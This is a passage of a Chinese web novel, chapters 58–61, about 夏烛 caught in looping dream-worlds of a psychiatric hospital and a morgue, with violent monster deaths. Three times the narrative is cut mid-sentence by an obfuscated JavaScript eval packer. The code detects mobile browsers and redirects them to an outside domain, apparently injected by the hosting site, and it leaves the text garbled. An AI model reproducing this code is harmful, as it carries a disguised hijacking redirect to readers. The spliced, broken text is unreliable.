停尸房就在前方,可是她拼尽全力,就连胳膊扭到几乎脱臼也无法挣脱男人们铁钳一样的手,他们死死握着她的手臂和肩膀,力道大到几乎捏碎她的骨头。 这样的挣扎只会适得其反。 夏烛垂下了头放弃抵抗。 她卸掉所有的力气,干脆让两人抬着她走,双眼盯着地面,巨大的打击瞬间让所有积极的能量离她而去,疼痛和疲惫再次占领意识高地。 “叮——” 她听到熟悉的声音,缓缓抬起头,对上了电梯内一双无神的眼睛。 一瞬间,所有过往的画面变成记忆的碎片在脑海中重叠起来。 因果循环。 她开始动摇了。 一切的开始究竟是她作为病人进入医院,还是除魉之人进入梦境。 58.圈(六) 很小的时候,爷爷问过她。 “小烛,你害不害怕?”爷爷指着头顶那盏正被飞蛾围绕的灰蒙蒙电灯。小小的身躯一下又一下撞击着玻璃罩,在寂静如水的夜里显得格外清晰。 “为什么要害怕?”夏烛不解,她睁着眼睛一动不动地盯着那只黄灰色像玉米面一样的蛾子,她知道飞蛾扑火的成语,也知道后半段常常跟着自取灭亡的陈述。 可在夏烛眼里,趋光的蛾子就是一位无比勇敢的战士,即使它的蛾生追求在另一维度的生命眼中,不过是低等物种蠢笨的行径。 痛苦或者说死亡,不过是生命绽放的另一种形式。 要说害怕。 小夏烛突然想到了住在河边的那个女人。女人是在前年结得婚,结婚那天夏烛跟着隔壁婶婶的孩子一起去凑过热闹。看新娘子总是她们这群乳臭未干的小屁孩最大的乐趣。夏烛跟着一群毛头小子钻过无数条枯树杆一样的腿,穿过将要摆上喜宴的木头圆桌,终于在一棵枝繁叶茂挂了红绸子的核桃树下见到了她。 她穿了一身烟红色的小毛领袄子和红西裤,头发盘了起来不知道使了什么而变得干硬弯曲,一朵红色的塑料花别在她的耳后,脸上被遮盖得看不出皮肤原本的颜色,红艳艳的像两片山楂糕。 这个时候她应该是快乐的,虽然她的年纪似乎不足以懂得什么是婚姻的快乐,但是鞭炮和祝福炸在耳边,那种短暂的耳鸣也许会让人以为是幸福的晕眩。至少那个时候她那双圆圆的眼睛仍旧亮晶晶的。 也许是新娘子身上的颜色太过于夺目,以至于小小的夏烛以为女人将会永远是红色。 再后来夏烛发现女人总是会从她家院子门前过,她仍然会穿红色的衣服,但那颜色不再鲜艳而是被掩盖在某种灰暗之下。 女人每天都从门前的田埂上垂着头走过,日头升起又落下,庄稼绿了又黄。她像一架设定好程序的机器,精准地运转在田埂、灶台、猪圈之间。锄头扬起落下,镰刀割断麦秆,柴刀劈开木柴,动作是千锤百炼后的流畅,带着一种近乎残酷的效率。 夏烛刚开始还很好奇,尝试过从每个角度去观察女人的脸,在一遍又一遍的努力后,她发现自己始终无法从女人的脸上再看到那双黑色的眼睛。 这个发现让夏烛从深夜的梦魇中满头大汗的醒来。 这是她第一次感到害怕。 也是她第一下定决心,等她长到女人的年纪,一定不要穿上和她一样的红色衣服。所以她努力学努力学,走到镇上又走到市里,直到从书里得到了以前从来不曾想象的知识,窥见了这个旷阔世界的一角,直到爷爷在那个夏天还没到来的时候离开了自己,一种新的恐惧又出现在了夏烛心里。 从前是因为害怕而想要走远,现在又是因为害怕而不敢走远。 直到躺在这张病床上,束带狠狠勒着她的四肢,似乎紧绷的皮肉只是案板上的斤两压称,即使她从头到尾都没有进行怎样奋力的反抗。 直到镇定剂注射到她的血管中,露出孔眼的上臂依旧裸露着,没有人记得要帮她重新整理好衣服。那种被迫的镇定,顺着静脉流遍全身,呼吸变得缓慢深沉甚至虚假,各处的肌肉松弛到瘫软,失去焦距的瞳孔里只剩下一片混沌的灰暗。 恐惧再次袭来。 夏烛在恍惚中读懂了畏惧的名称,她害怕的从来不是痛苦,而是麻木。 此时此刻,躺在精神病院中,所有人都告诉她,她因为某种心理压力而产生了幻觉,不得不休学到这里来养病。告诉她之前的一切都是假的,她麻木生活中终于升起的一簇火焰,只是精神失常下意识的摩擦。 朋友,同伴,未知世界的无上魅力,以及明晃晃的月光,都是假的。 这种打击对夏烛来说无疑是致命的,更让她愤怒的是她甚至没有力气站起来,亲自去证明点什么。只能被绑在这张床上,感受骨头缝里细细密密的瘙痒,空虚感传遍全身。 无可奈何,夏烛闭上了眼睛。 朦胧中似乎过了很久,夏烛睡了很沉的一觉,也许还做了一个梦。梦里面她变成了从前看过的某一本书中致命又美丽的女反派,被自己的死对头囚禁于贝蒂纳修道院,那是个压抑,守卫森严,容易使罪犯陷入绝望的监狱。 她想象自己化身成红衣教主手下最得力的特工米莱狄,她的魅力从不仅于美丽的外貌和舒适环境下的优雅,而是源自绝境中迸发出的如同淬火钢铁般的意志和可怕的生存本能。 看书的时候,夏烛就曾醉心于这个角色,而她现在被当作精神病关在这里,处境倒是和米莱狄有些许的相似。 夏烛重新醒来的时候,带着全新的意志力,那是想象中的人物给予的盔甲,有的时候,像风枫一样进行角色扮演也不是什么坏事。 这样去想,连身体机能都恢复了大半。 接下来的几天,夏烛表现得像一个开悟的坏人,极尽忏悔,积极治疗。每天乖乖打针吃药,又在医生走后,和自己因为药物作用而变得迟钝麻木的大脑对抗。 她的表演能力着实有进步,四天之后,他们不再用束带将她绑在床上,病房的门也不用费心反锁,夏烛终于可以自由活动了。 “好了夏烛,你要是早点像这样听话,说不定早就能恢复出院,别让你爷爷在天之灵也担心啊。” 值班护士打完今天的最后一针,将针管重新扔回不锈钢的托盘里,意味深长地看了一眼床上的夏烛,最后摇摇头推着推车离开了。 夏烛强忍着恶心,咽下没有说出口的咒骂,她始终无法接受这些魍魉创造的伪人怪物,冠冕堂皇地谈起爷爷。 门彻底关上,夏烛躺着休息了几分钟,晃晃脑袋从床上下来,她要再去一次负一楼。 用于镇定的药虽然因为她的正常表现减少了剂量,但还是会对头脑和行为产生影响,夏烛扶着墙来到卫生间,拧开水龙头,捧起冰凉的水将脸埋进掌心。 这个办法着实有用,夏烛对着镜子看着里面那张无神的脸,觉得自己的五感似乎变得敏锐了一些。 忽然,她听到在水流之下还存在着一种细微的动静,就像某种低语正从管道中传来,她关上了水龙头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008642|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次竖起耳朵仔细分辨。 窸窸窣窣,是从水池下面传来的。 她蹲下身体,惊讶地发现水池的出水管后方正在掉落着细细的墙灰,堆积在地上积成一座白色的小山。她心跳加速,压制住兴奋小心翼翼地将手伸到水管后面。 这块墙壁有些松动,仿佛有人正在墙后面凿着洞。 忽然,一小块砖头彻底滑落出来。 夏烛眼睛一亮,这根本不是三个火枪手而是肖申克的救赎。 她激动地伏下身体,奈何水管后的结构逼仄,无法从漏洞中看到另一面的情形。夏烛伸出手,洞口再次传来窸窸窣窣的声音。 她的睫毛微微颤抖,收回的手里捏着一张药单。 她将药单反过来,另一面上写着让人熟悉得想要流泪的字迹。 “你好啊,夏烛三号。 收起眼泪,我要做自我介绍了。 我就是你,准确来说,我是夏烛二号。” 她看着这排和自己一模一样的字,“三号”的字样无比的刺眼。 啪嗒一声,水管后的洞口处掉落下一只圆珠笔。 夏烛抹了抹自己湿润的眼睛,没有犹豫拿起笔在药单上写下回复。 “所有的一切,是循环,对吗?” 她快速将纸条塞了回去,没多久,房间的另一边又传来消息。 “没错,而直到你出现,已经是第三次了。” 夏烛睁开眼睛,房间内的光线很暗淡,应该只有天花板上有一盏顶光,照出微弱的圆形范围。她首先闻到一股浓烈的消毒水气息,顺着鼻腔滑进胃部,灼烧出淡淡的酸味。 她猜测自己应该是靠坐在某一张床上,背后似乎垫着枕头,但脚下的布料并不细软而是粗糙地磨着脚后跟的皮肤。她就着微弱的光线看出了这里似乎是一间病房,那种独自一人的恍然刚刚出现,却发现对面的病床上突兀地坐着一个男人。 “好巧。”他淡淡地开口,声音像是从很远的地方传来。 “你怎么在这里?”她原本想问“你又跟踪我”,但这句话明显有自作多情的意味,所以夏烛抿起嘴角换了种说法。 “我都说了,巧合而已。” “巧合。”夏烛重复着赢惑的话,揣摩着这个简单词汇的意思。“那真是太巧了。”她干巴巴地回了一句。 两个人像同一间病房的病友一般,面对着面躺在床上,沉默让周围的一切都显得不真实。 夏烛转动着头,环视了一圈,发现除了她和赢惑身下,这个房间内还有另外几张病床。 空床。 风枫和姬无愁她们并不在这里。 她原本想下床走动走动,探探究竟,但是目光瞥到对面一动不动的男人,不知出于何种原因,她也选择继续按兵不动。 甚至放松了背部肌肉,让脊椎一节节完全靠在软枕上。 不知道过了多久,房间里唯一的灯在几次闪烁后彻底熄灭,没有理由,也许是求生的本能,夏烛屏住了呼吸。 黑暗中,她听到了某种奇怪的动静。 59.圈(七) 头顶的灯重新亮起。 两人面对着面没有谁先开口说话,奇怪的胜负欲让夏烛拒绝与赢惑交换眼神。 “不如出去看看…”他的声音从对面的床上传来,话还没说完,夏烛就翻身踩在了地面上。 嬴惑跟在她身后,鼻腔里发出冷冷的嗤笑。 一前一后走到走廊上,尽头是一扇电梯门,安全出口的标志亮在右下角的位置。另一侧的拐角藏在阴影里,夏烛一时间不知道该往哪边走。 突然身后的门被一股巨大的力量撞开,一个黑乎乎的身影撞在了对面的墙壁上。只匆匆一眼,夏烛就感到头皮发麻。 人不人,狗不狗。 夏烛和赢惑快速对视了一眼,竟然十分默契地朝着电梯口跑去。 安全出口不是吗,像是游戏中的任务指示。 “叮——”电梯门打开,两人闪身进去,在怪物冲过来之前顺利合上。 夏烛微微喘着气靠在电梯内的墙上,狭窄的空间让他们之间的距离前所未有的近。事实上,一台电梯能载七八个人,这样的地方不至于让仅有的两个人感到社交边界上的不适。可偏偏装在一部电梯里的是夏烛和赢惑两个人。 她还好,只是灵敏的嗅觉让她实在无法忽视另一个人身上的气息,那种感觉就像她此刻正躺在一片刚刚下过小雨的青草地上。 反观赢惑,夏烛认为如果他的父母在场,一定会推着他的肩膀跟他讲:“好孩子,大大方方的。”甚至有一瞬间,夏烛就要代替说出那句话来。 他缩在电梯内的夹角里,也许觉得这样能最大限度地和夏烛同学保持距离,这个陌生女孩总是让自己感到不安,那种熟悉的压迫感让赢惑不得不忌惮的同时又产生好奇心。 即使他连夏烛的全名都还不知道。 阿烛,风家的人是这么叫她的。 Zhu?是哪个字呢? 突然从胡思乱想中醒悟过来的赢惑脸上的表情堪称惊恐。 “没人想按个电梯吗?”像是在掩饰什么,他装作轻松地单手插进裤兜,直起上半身走到电梯的按键面前,苍白而修长的指骨在仅有的四个数字上犹豫不定,那颗鸽血红的宝石戒指再次吸引住了夏烛的目光。 火焰般燃烧的光芒之下似乎也藏着某种纹理。 没有等他做好决定,轿厢忽然剧烈晃动,头顶的光源也闪烁不停。 赢惑漂亮的小脸再次变得煞白,他赶紧抽出刚刚才揣进裤兜的手,双手张开,后背紧紧贴在墙上。 “怎么回事!”他连声音都有些变形。 夏烛慢腾腾地将目光从红宝石戒指上移到他脸上,面无表情地欣赏赢惑颇具戏剧性的姿态。 “也许是电梯故障。忽然往下掉的那种。” “什么?!那、那怎么办?”那双灰色的漂亮眼睛可怜巴巴地闪烁,叫人看了都不忍心。 “最好蹲下来抱住身体,这样收尸的也不用麻烦了。” “麻烦什么?” “麻烦去捡你七零八落的尸块。” 也许是夏烛这张脸不像是会说烂话的样子,也许是她的表情太过认真语气诚恳。赢惑真的在她的注视下慢慢蹲了下去,双手抱头窝在角落里。 电梯摇晃的更加剧烈,男人隐隐有想要尖叫的冲动,但出于他那根本就不存在的尊严面子,还是咬在牙缝里咽了下去。 夏烛不动声色地勾起嘴角,心情说不出的愉悦,她偏过头看向电梯内的屏幕,屏幕上的数字正在快速的翻转,从3一路跌倒-1,又从-1升回了3。这下就连夏烛也不得不伸出手紧紧抓住背后的栏杆。 电梯终于停在了某一楼层,屏幕上的数字最终显示为“-1”。 门缓缓往两边打开,一条黑暗的长廊,和长廊尽头的光晕出现在夏烛眼前。她望着那光线出神了片刻,抬脚走出了电梯。 感受到周围变化的赢惑终于放下双手抬起头来。 眼见就是夏烛逆着光的高大背影。她虽然穿着校服,但身姿挺拔,手里握着那把…那把短剑,袖子挽到小臂以上,露出肘部一丝流畅的肌肉线条,顺着顺滑细腻的皮肤一直往袖子里钻。 他突然觉得电梯内的温度在升高,灼得他脑袋发懵。于是赶紧站起来,拍拍衣裤上的褶子,抓了抓实际上一丝不苟的头发,故作轻松地迈出了电梯。 “好巧,我原本也是要来负一楼看看的。” 夏烛并没有理会他,而是径直朝尽头的房间走去。 赢惑跟在她身后,嘴里发出不满的哧气。 停尸房。 尽头只是一间过于宽敞的停尸房。 风枫和姬无愁她们并不在这里。 头顶的白炽灯直白地照在透亮的地板上。两人的身影反射其间摇摇晃晃。 门口的墙壁上挂着一台突兀的时钟,赢惑站在钟表下方盯着停在一点整的时针没有说话。 “这里似乎…”夏烛刚想说点什么,门外面就传来了一阵凌乱的脚步声,她紧了紧手中的剑柄。几个陌生的面孔出现在门边,他们脸上的表情慌乱惊恐。 “人?你们是人类吗?”一个男生对着夏烛战战兢兢的开口,当他看清屋内的陈设时明显又被吓了一跳,声音有点上气不接下气地哽在喉咙里。 夏烛看了一眼并不打算理会这些人的赢惑,决定自己来交涉。 “你们是谁,从哪里来的?” 几人七嘴八舌的说了一通,大概就是两人成组在病房内醒来,遇到人不人狗不狗兔不兔的怪物追杀一路逃到这里,一些同伴已经被残忍杀害之类的。 “我们互相都不认识,怎么会莫名其妙的在这里醒来?到底是怎么一回事…”那个面露惧色的男生还想再说,夏烛冲他比了一个噤声的手势。 头顶的天花板传来一阵奇怪的震动,接着又嘎吱嘎吱地响起来。 “退后。”夏烛挥手示意众人,话音刚落,天花板就往下塌陷,碎石和断裂的木板向下戳出危险的趋势,一个巨大的黏糊糊的身影从洞口漏了下来,摔了很远停在了走廊上。就像一滩烂泥汇集在地板,慢慢显示出它庞大的身躯。 夏烛的目光从怪物身上挪开,一只手臂搭在了洞口处。她瞳孔骤缩,顾不上正在蠕动的怪物冲到了破洞下方。 姬无愁满脸是血的吊在那里,一旁尖锐的木刺扎进了她的手臂,鲜血糊住了双眼,她似乎感应到夏烛的存在,勉强撑起眼皮。 “快…跑…”她只来得及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013659|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和夏烛说上这么一句,眼底最后的一点光芒就彻底暗了下去。夏烛没有办法接受如此的突变,她努力踮起脚伸出手抓住了姬无愁无力下垂的胳膊,却发现她感受不到体内游走的相力,而姬无愁仍旧闭着眼睛静静躺在那里。 相力似乎,消失了。 她呆呆地收回自己的手,看向手心里还带着温度的姬无愁的鲜血。 走廊上的巨大缝合怪已经重新站了起来,身躯像一团腐肉般挤在走廊中,所有的氧气似乎都被它吸了去,身后甩着一条巨型老鼠一样的肉尾巴。 怪物朝着门边那群NPC扑了过去,一个男孩将旁边的同伴往门里一推,张开双臂挡在了怪物面前。这样勇敢动人的举动也无法阻止怪物张开血盆大口一口咬掉了男孩的头颅。 断裂的颈部带着身躯还在原地□□,怪物已经与尸体擦肩而过,利爪伸向了门内的其他人。惨叫声在夏烛耳边此起彼伏,屠杀的速度之快,几乎在眨眼之间,所有人,包括一直离得很远的赢惑在内全都躺在了血泊之中。 夏烛呆呆地望着眼前的一切,拖着沉重的脚步来到了赢惑身边。 他引以为傲的衣装变成了皱巴巴的一团,鲜血太多了以至于夏烛无法找出致命的伤口。他比之前还要苍白,像一片薄到能看清脉络的花瓣。 赢惑勉强睁开一只眼睛,露出灰色的底色。 “这下,靠你了…” 在夏烛怪异的表情下完全闭上了眼睛。 靠你了?这根本不像赢惑这种自大的人会说出的话,他有多惜命,临死之前绝对不会像一个正义凛然的大好人嘱咐夏烛一定要坚强地活下去。 这一切都太过于诡异。 夏烛始终无法把眼前的结果当作事实。她甚至有一刻怀疑自己是不是冷血无情,竟然感受不到一丝悲伤。 她跪在冰冷的地板上,看着赢惑的尸体,眼睛正在慢慢失去焦距。 忽然,头顶的灯光闪烁了几下,周围彻底陷入了黑暗当中。 五秒,也许是十秒。 黑暗短暂而又漫长。 夏烛靠着握紧拳头来确认自己仍旧存在。 当光明重新降临,她不可思议地看着眼前原本一地的狼藉化为乌有。鲜血,天花板的破洞,赢惑和姬无愁的尸体,全都消失不见了。 干净的好像刚刚只是做了一场梦。 她僵硬地站起身来,意识到这个屋子的实际作用。然后缓慢地走向了其中一间冷藏格。她盯着金属的把手似乎在思考什么,片刻之后,带着巨大的勇气,夏烛拉开了面前的抽屉。 红色的干枯的头发微微卷曲着,一颗圆润的棕色珠子垂在颈脖边。 她猛地推上抽屉,不敢再看一眼。 胸口剧烈起伏,导致呼吸出现紊乱,夏烛紧紧握着手里的小剑,告诉自己这都是假的。 “叮——”走廊尽头传来电梯停靠的声音,她深呼一口气,朝着电梯的方向走去。 在夏烛没有注意到的地方,停尸房入口一旁的墙上。挂钟的时间不知道在什么时候已经跳动到了两点整。 夏烛1号走出电梯,再次回到三楼的走廊。 她躲在拐角的阴影下,目睹自己与赢惑从病房内走出。 60.圈(八) 怪物撞门而出,两个人朝着电梯口跑去。 夏烛1号想到了负一楼天花板上摔下来的怪物,以及同样死在那里的姬无愁。那小枫呢?风枫四人人也许一直和姬无愁在一起,但她们直到最后也没有再出现,想来结局应该和姬无愁一样。 她看到即将要跑到电梯的两人,意识到自己必须做点什么来改变原本的行动轨迹,脚边刚好有一把折叠椅,于是没有多想,拿起椅子朝着怪物的后背掷了出去。 夏烛2号果然停下了脚步,片刻之间转变了思路,打算先解决掉眼前的怪物再说。 1号躲进了阴影里,听见自己的声音从走廊里传来是一件很怪异的事。 “如果可以的话就帮忙,不然就躲得远一些。” “好啊。”赢惑懒洋洋地跟了一句,果然后退了几步离2号远远的。 1号背靠着墙,听着走廊上打斗的动静,快速分析了眼下的情形,明白也许这都是魉的把戏,一场循环包括相力消失。 只是她不明白循环的底层逻辑是什么,触发的条件大概猜测是参与者死亡至仅剩一人的时候,循环就会开始。 而且,不管逻辑和条件是什么,这都说明魉的能力已经超出了她们预想。也许预言是真的。 她正想着,突然察觉到走廊上的声音已经停了下来,几秒之后,脚步声朝着自己的位置逼近。1号的心跳加速,她低着头看向自己的脚尖,不知道自己该不该和“自己”碰面,但是就在这短暂的犹豫期间,那双熟悉的鞋子已经迈进了相同的一块阴影里。 1号下意识的抬起头,预想会看见一双眼睛。就在双眼对视的一刹那,周围再次陷入黑暗。等到看清身边的一切,她意识到自己又回到了那间停尸房中,2号和赢惑都消失不见。 这一次她快速跑过长廊,但并没有选择坐电梯直上,而是从消防通道走楼梯上了三楼。和她猜想的一样,那只被2号杀死的缝合怪尸体仍然躺在地板上,循环没有触发。 “原来是这样…” 1号返回了负一层,按下了电梯的上行键。 触发条件有1和2,需要两个同时达成才能进入循环。 首先就是存活人数为1,其次,幸存下来的那个人必须乘坐电梯回到原始的位置。新一轮的循环才算开始。 这一次,她提前来到走廊的拐角,在怪物出现后再次扔出折叠椅,并用墙边推车上的红药水在墙上画下了枫叶,以及对准消防通道的箭头标识。 她不确定风枫是否就在1楼,只能指引2号从楼梯往下走,这样就能更快的遇到另外几人。 熟悉的脚步声再次靠近,1号放下手里的药水瓶,转身拧开了最近的一扇门走了进去。 而2号在看到墙上的标识之后立马明白了用意,她径直来到了医院的2楼,却没有在这里遇到风枫。而是迎面撞见了几个陌生的面孔。 惊慌失措的NPC告诉两人,他们两两成对从病房内醒来,没过多久就遇到了一群怪物,一些同行的人因为发出动静当场毙命,几人侥幸才逃了出来。 2号从NPC的脸上一一扫过,没有发现异样。她刚准备转身继续下楼,却被一个女生拖住了脚步。 “我醒来的那个..房间里,她还没死,能不能,能不能救救她…”? “她?是个红头发的女孩吗?” “我不知道,我不知道,房间太黑了看不清…不过!是个女孩!没错!” 夏烛皱起了眉头,如果不是风枫而是另一个NPC,去房间查看就会浪费时间。但如果,里面真的是风枫怎么办?是风枫的话,就连NPC都能活着出来,她会因为几个怪物而受伤吗? 2号不敢冒险,决定还是跟着女孩去房间内看看,可还没走出几步,一声尖叫穿透整座大楼。 是风眠的声音。 夏烛甩开女孩的手,不顾她的恳求冲到了1楼。当她看清眼前的场景时,就连心跳都暂停了几秒。 风枫躺在不远处的地上,她的身体软绵绵的如同一片真正飘落的枫叶。2号死死盯着她的胸膛,在确认没有起伏之后,她觉得体内所有的力量也被瞬间抽去了。嬴犽就躺在她的边上,身体僵直保持着朝她伸出手的姿势,只剩白骨的一只手臂,仅差几厘米就能碰到风枫。 而风眠匍匐在地上,奄奄一息地朝着妹妹身边爬去,走廊另一侧,姬无愁被巨型缝合怪轻易捏在手中,狠狠往地面砸去。 2号眨了眨眼睛,奔向唯一还有生气的风眠。 她握住风眠的手腕想要治疗他,却发现无论如何也感受不到体内的相力。没错了,她刚刚就觉得这个场景无比的怪异,却始终说不上来。 原来是这里根本没有出现任何相力的痕迹,无论是藤蔓或者鸦羽。 “阿烛…”风眠看着夏烛,脸上的表情满是不可置信,“阿烛,不是这样的…不该是我活着…不是的!” 他的声音颤抖,每说一句话就有大量的鲜血泛着泡沫从口中涌出,可即便如此他还是用力将自己的手从夏烛手心抽出紧紧反握住她。 “一定有问题!所有人一定不是真的死了!” 他用尽生命的最后一点力气,将夏烛的手腕捏得生疼。 “救她!救…风枫…” 风眠在夏烛怀里咽了气,他流出的血染透了夏烛的衣服。 几个NPC由一个男生带着也跟着二人下了楼,解决掉姬无愁的怪物再次被几人转移了注意力,仅仅几个跳跃就来到了NPC跟前,捏死他们如同捏死几只蚂蚁。 2号把风眠轻轻放平在地上,握着手里的短剑站了起来,她盯着那团腐肉一般挤在走廊中的缝合怪,杀人偿命吧,2号只有这一个念头。 她不管不顾地和怪物缠斗起来,可那东西虽然身型庞大,行动却不迟缓。灵巧地穿梭在夏烛的每一次攻击间。 在双方的一次腾空闪身后,缝合怪扭动身体,将自己尖锐的肉尾甩了过来。 刚刚的打斗中,夏烛的胫骨也许是碎了,手臂上也被划了一条深可见骨的口子,她的身体还处在凌空状态,即使看见朝自己刺来的尖尾,身体也已经来不及做出反应了。 不甘心,她答应了风眠的,不甘心就这么结束。 所以当那个身影挡在自己面前的时候,夏烛只想到心诚则灵,也许有人听到了她的心声。即使舍身救人这个行为放在赢惑身上显得特别诡异。 他的身体重重地摔了下去,似乎失去了所有的力气仰面朝天躺在地上,胸口处一个巨大的血洞正在往外冒着鲜血。 “你…”夏烛不解地看着地上的赢惑。 “我刚才想了想,总之都在一个梦里,还是帮忙好了。”如果不是嘴角的鲜血,单从脸上根本看不出赢惑已经身受重伤命不久矣,好像他从来都是这么苍白。 那种白色从他身体上转移到夏烛的眼前再到脑子里,她一时无法思考。 头顶的灯光突然熄灭,夏烛下意识地握紧了小剑,她没有忘记缝合怪还没有倒下,随时会趁着黑暗袭击自己。 她绷紧了神经,屏住呼吸在黑暗中张开自己所有的感官领域。 可是,除自己以外,她丝毫气息都感觉不到。 当光明重新降临,2号发现自己处在一个全新的空间。三面密密麻麻的冷藏抽屉嵌在金属框架内。 这里似乎是一间停尸房。 “叮——” 门外传来电梯停靠的声音,2号再次走出了房间。 入口一旁的墙壁上,那面看起来早就坏掉的挂钟在夏烛离开之后响起了齿轮转动的声音,时针缓慢地向右偏移,最终停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门打开,3号再次回到了这间停尸房,和循环中的一模一样。通天的冷藏格,粗略看过去得有一两百个。密密麻麻如同蜂巢,此刻被夏烛看在眼里,却不同于前几次的心情,她隐约觉得有些不妙,手臂上的汗毛根根竖起。 头顶上方隐藏着巨大的制冷系统,正在孜孜不倦地往这间屋子输送冷气,不断传来低沉,恒定的嗡鸣。像是一首漠然的祷文。 冷气钻进她宽大的袖口,如同一层薄膜覆盖在皮肤之上。 她走向离得最近的一只冷藏格,手触碰到冰冷的金属把手,再缓慢拉开。 里面静静躺着一具男生的尸体,面容安详,嘴角淡淡往上翘着,尸体上不见任何损伤,看上去似乎只是睡着了一样。 夏烛盯着他的脸,觉得有些熟悉,突然想起来,是最后领着一队NPC下到一楼,从而导致被缝合怪团灭的那一个。 魉,就是他吗? 可为什么他死了梦境还没有结束呢? 鬼使神差地,夏烛继续拉开了旁边的另一格抽屉,她的瞳孔放大,握着抽屉把手的手指不自觉的松开。 还是他,这一格中冷藏保存的尸体还是那个男孩。 一模一样的两具尸体,完好,安详,甚至面带微笑。 夏烛想到了什么,她开始从下往上一格一格地拉开抽屉。 整个停尸房,几百个抽屉被全部打开,但是里面密密麻麻地,躺着同一个人。 夏烛靠着冷藏柜慢慢蹲了下去。 没错了,他只有让自己死亡才能触发循环。 几百具尸体的意思是,魉已经在这个梦中循环了上百次了。 所以,夏烛想到了那个预言。 也许这只魉早就在无尽的循环中成型,也许,它早就破梦而出了。 61.圈(九) 夏烛将所有被打开的抽屉一一复原。 它们不是完全一样的。 这些尸体应该都是按死亡时间排序,虽然没有明确的编码,但是可以从尸体的受损程度上做出合理的猜测。 从左往右,尸体的受损程度慢慢变轻,直到夏烛最开始打开的那两个抽屉,根本像是睡着了。而最左边的尸体,应该就是循环最初时候留下的。 因为这些尸体不仅有不同程度的残缺,尸体面部的表情也充满狰狞和恐惧。 也许一开始这个梦对于梦主来说,都还是一个噩梦。 至于后来,也许是循环的次数太多,被困在噩梦中太久,魍魉最终成型,开始反利用死亡触发条件玩起了循环游戏,直到最后不明官入梦,将他们困死在梦中。 循环也许无法直接杀死不明官,但是精神上的折磨,可以让他们带着对自我的怀疑永远留在梦中,这就是魉的目的,因此不惜一次次杀死自己。 夏烛重新坐到了水池下方,2号已经等在了那里。 “现在知道魉是谁了吗?还是得自己亲眼看看,才震撼。” “是这样,所以现在最关键的问题是,我们要如何才能回到循环的那个时空中。” 虽然两间停尸房一模一样,可这家精神病院完全就是一个独立的空间,处于循环之外。 “1号说,每当循环开始,整个梦境世界会有十秒钟的重叠时间,她第一次也是在那十秒的黑暗中按下了电梯提醒了我。所以,我们得把握住这关键的十秒。” 原来是这样,每一次循环开始前,都会进入十秒的虚无重置时间。3号捏着药单忽然像是想起了什么,握着笔在纸上画下一个圈。 “我之前曾在循环空间,一楼大厅的墙上看见过一张导视图。导视图在停尸房的位置标注了一个圆圈。现在已知突发条件之一是幸存者通过电梯回到初始地点。那么是不是可以这样想象。”她在纸上从上往下画了三个圆圈。 “每一轮的循环会在这个梦境中形成一个圈,例如此时此刻,三轮循环已经造成了三个圆圈在不同的空间中同时存在着。而链接三个圈的,就是电梯。” 她在三个圈之间画了一个代表电梯的长方形。 “由于每一个时空中的唯一幸存者都会坐上电梯前往下一个时空触发循环,所以就算这些圈仍然存在于梦境中,但由于没有了参与游戏的玩家就相当于废掉了可以忽略不计。” 她把自己的猜测写在了药单上从洞口递了过去。 在等待期间,3号站了起来,走出卫生间来到病房中,她转动着脑袋四处观察,视线最终停在了窗边。 等她回到卫生间时,药单已经放在了洞口。 “我和1号之前都没有达到过一楼的大厅,所以这是一条很关键的信息。如果我们能够在那十秒的重叠时间里到达-1楼那台电梯,也许能够搭乘连接去到刚刚开始的新一轮循环中,找到魉,杀死它。” 3号把自己关于如何利用这十秒的想法写在了纸条上送到了洞口,等了一会儿那边又递过来了回复。 “这一次的循环居然还没有开始,4号夏烛看来比我们走得更远,你是做了什么吗?” 3号想起那个夹在抽屉缝隙中的绿布。 “我给她留了点线索。”她在文字后面简单描了一只绣着枫叶图案的布包。 她知道无论是哪一个循环中分裂出来的自己,都会瞬间明白她想表达的意思。所以再收回的药单上,只是简单地写着四个字。 “不愧是我。” 3号夏烛把字条收了起来,虽然还是不能完全明白分裂的逻辑,但她永远相信自己。现在要做的就是等待4号夏烛从隔壁的另一间病床上醒来,等待那十秒钟的重叠时间。 无论给了多少提示,魉始终是那个带着记忆循环的内鬼,所以,他一定会想法设法促成其余玩家死亡到只剩一人的结局。 所以下一轮的循环一定不会太久,3号将自己的病房反锁了起来,按照1号给的刷新顺序,从窗户翻到了隔壁的病房中,躲在床底。 不管这个世界渲染得如何真实,那些医生护士也不过是一堆魍魉手下的行尸走肉,程序编织的伪人。 病人逃跑不见,再怎么掘地三尺地找,也不会找到夏烛藏身的这个房间。 因为在设定中,这间空房是留给下一个即将被虚假世界欺骗的倒霉蛋的。 在躺在地板上等待的时间里,3号用衣服上扯下来的一块布蒙在了眼睛上,尽量放缓了自己的呼吸,清空大脑中的一切杂念。这样时间会在不知不觉中流逝,而停止思考反而能让神经感官更加的敏锐。 